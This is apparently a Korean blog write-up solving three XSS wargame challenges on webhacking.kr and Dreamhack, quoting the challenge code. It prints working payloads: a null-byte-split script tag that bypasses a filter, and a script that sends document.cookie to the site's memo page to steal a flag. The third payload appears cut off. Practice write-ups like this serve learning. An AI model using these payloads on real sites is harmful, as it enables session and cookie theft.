보안(4) ≡ XSS

Acrylic·2024년 4월 19일

XSS 문제를 마저 풀죠.

Old-23

https://webhacking.kr/challenge/bonus-3/

이런 건 null 문자로 우회해서 풀 수 있습니다.
작동하는 걸 보니 문자가 2개 이상 겹칠 수 없는 것만 되어 있네요.
아래와 같이 작성하시면 손쉽게 풀립니다.

<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>

XSS-1

https://dreamhack.io/wargame/challenges/28

vuln에 들어가시면 대놓고 script가 작동하는 것을 보실 수 있습니다.
memo에 들어가면 내용이 출력되고요.

일단 코드를 한번 봅시다.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

정말 말 그대로 xss 보안이 하나도 안 돼 있는 사이트네요. 우회할 필요도 없습니다.

selenium을 이용해서 들어가지는 거 같은데 문제는

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

flag를 쿠키로 가져온다는 점입니다. 그렇다면 메모에다가 쿠키를 가져오면 되지 않을까요?

flag에 들어가서 <script>location.href = './memo?memo=a'</script>를 쳐 봅시다.

a가 들어왔네요. 그럼 되겠습니다.

<script>location.href = './memo?memo=' + document.cookie </script>를 쳐 봅시다.

flag가 출력되네요!

XSS-2

https://dreamhack.io/wargame/challenges/268

이번엔 xss를 제대로 차단했겠죠?

애매하게도 막아놨네요. <, > 이런 거 막으면 편한 것을...

이런 건 image 태그의 onerror를 사용하면 손쉽게 뚫릴 듯합니다.

<img src=X />를 쳐 보죠.

딱 들켰네요. 위에 있는 것처럼 flag에document.cookie를 해 준다면?

<img src=X />

짠 하고 나옵니다. 아 근데 vuln에서 실험하면 안 되던데요? 그래서 헤맸었습니다.

profile
프런트엔드 개발자 지망생

0개의 댓글